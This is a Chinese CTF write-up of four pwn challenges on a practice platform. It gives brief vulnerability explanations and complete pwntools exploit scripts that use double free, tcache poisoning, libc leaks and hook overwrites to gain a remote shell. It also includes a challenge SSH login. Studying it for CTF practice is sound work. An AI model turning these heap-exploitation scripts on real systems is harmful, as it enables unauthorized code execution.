目录
ciscn_2019_n_2(double free)
delete的时候有一个double free漏洞
利用思路:
先用一个double free把0x602060(chunklist)申请出来,这样我们就能先修改里面的指针了,先利用GOT表泄露libc,然后写入__free_hook的地址并使用编辑写入system地址就行
Exp:
from pwn import *
menu = "Your choice: "
def add(content, age):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("name:")
r.send(content)
r.recvuntil("age:")
r.sendline(str(age))
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index:")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index:")
r.sendline(str(index))
def edit(index, content, age):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("name:")
r.send(content)
r.recvuntil("age:")
r.sendline(str(age))
def add_money(index):
r.recvuntil(menu)
r.sendline('5')
r.recvuntil("Index:")
r.sendline(str(index))
def buy(index, addr, size):
r.recvuntil(menu)
r.sendline('6')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("input the address you want to leak:")
r.sendline(hex(addr))
r.recvuntil("input the size you want to leak:")
r.sendline(str(size))
r.recvuntil("data:[[[")
addr = u64(r.recv(size).ljust(8, '\x00'))
return addr
r = remote("node3.buuoj.cn", 28876)
#r = process("./ciscn_2019_n_2")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x40106D
x/10gx 0x602060
c
''')
elf = ELF("./ciscn_2019_n_2")
libc = ELF("./libc/libc-2.27.so")
bss_list = 0x602060
free_got = elf.got['free']
add('KMFL\n', 1)
delete(0)
delete(0)
add(p64(bss_list), 10)
add(p64(bss_list), 10)
add(p64(free_got), 10)
add_money(2)
show(0)
r.recvuntil('name: ')
libc.address = u64(r.recvn(6) + '\x00' * 2) - libc.symbols['free']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
success("libc:"+hex(libc.address))
edit(2, p64(free_hook), bin_sh)
edit(0, p64(system), 10)
delete(1)
r.interactive()
ciscn_2019_sw_7(强制转换溢出)
在my_read中有一个溢出,i是unsigned,a2是signed,计算时会强制转换为unsigned,如a2为0,减一之后就变为一个很大的无符号数
read的时候进行了偏移,导致我们不能直接修改fd
利用思路:
- 申请这么几个
add(0, 'chunk0')
add(0x60, 'chunk1')
add(0, 'chunk2')
add(0x60, 'chunk3')
add(0x60, 'chunk4')
- 把4,3,2都删除了,然后删除0,利用add(0)和partial rewrite把chunk1的fd改为heap_base+8,(这里要爆破一个16进制位,因为最后四位我们只能写成0x0008)
- add(0x60)申请到tcache控制结构,然后把0x100大小chunk的num置为7,0x20, 0x30和0x70置为0
- 删除0,再利用add(0)把chunk1的size改为0x71+0x20+0x70,然后删除chunk1,让他进入unsorted bin
- add(0x60),然后show2就能泄露libc,再删除chunk3,add(0x50)来把chunk3的fd改为
__malloc_hook-8
,写入one_gadget来get shell
Exp:
from pwn import *
#r = remote("node3.buuoj.cn", 27292)
#r = process("./ciscn_2019_sw_7")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xE7E)
x/30gx $rebase(0x202040)
c
''')
elf = ELF("./ciscn_2019_sw_7")
libc = ELF('./libc/libc-2.27.so')
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
menu = "> "
def add(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("The size of note:")
r.sendline(str(size))
r.recvuntil("The content of note:")
r.sendline(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index:")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index:")
r.sendline(str(index))
def pwn():
add(0, 'chunk0')
add(0x60, 'chunk1')
add(0, 'chunk2')
add(0x60, 'chunk3')
add(0x60, 'chunk4')
delete(4)
delete(3)
delete(2)
payload = 'a'*8 + p64(0) + p64(0x71) + p8(8)
add(0, payload)#2
add(0x60, '/bin/sh')#3
add(0x60, p64(0x0707000007070000)+p64(0x0707070707070707))#4
delete(0)
payload = 'a'*8 + p64(0) + p64(0x71+0x20+0x70)
add(0, payload)#0
delete(1)
add(0x20, 'a')#1
add(0x30, 'a')#5
show(2)
r.recvuntil(" : ")
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
one_gadget = one_gadget_18[2] + libc.address
delete(3)
payload = 'a'*0x10 + p64(0x71) + p64(malloc_hook-8)
add(0x50, payload)#3
add(0x60, '/bin/sh')#6
add(0x60, p64(one_gadget))#7
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("The size of note:")
r.sendline('10')
r.interactive()
if __name__ == "__main__":
while True:
r = remote("node3.buuoj.cn", 28119)
try:
pwn()
except:
r.close()
pwnable.kr_exploitable(_bss_start泄露_IO_2_1_stdout_地址)
程序逻辑很简单,先给你_IO_2_1_stdout_
的地址,然后你给一个地址它去执行,自然想到one_gadget
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 26497)
#r = process("pwnable_kr_exploitable")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x08048583
c
''')
elf = ELF("pwnable_kr_exploitable")
libc = ELF('./libc/libc-2.23_32.so')
one_gadget_16_32 = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
addr = u32(r.recv(4))
success("recv:"+hex(addr))
libc.address = addr - libc.sym['_IO_2_1_stdout_']
one_gadget = libc.address + one_gadget_16_32[0]
r.sendline(str(one_gadget-0xffffffff-1))
r.interactive()
pwnable_otp(ulimit命令)
这题比较神奇
本题会创建一个名字随机的文件,并且写入8比特的随机内容,之后把内容与输入比较,相同才能得到flag
这题需要利用到ulimit -f的指令,它会限制能够创建文件的最大大小,如果设为0就无法创建成功,而本题没有相关检查
Exp:
from pwn import *
s = ssh(host='node3.buuoj.cn',user='otp',password='guest',port=27061)
s.interactive()
'''a.py
import subprocess
subprocess.Popen(['/home/otp/otp', ''], stderr=subprocess.STDOUT)
'''
#ulimit -f 0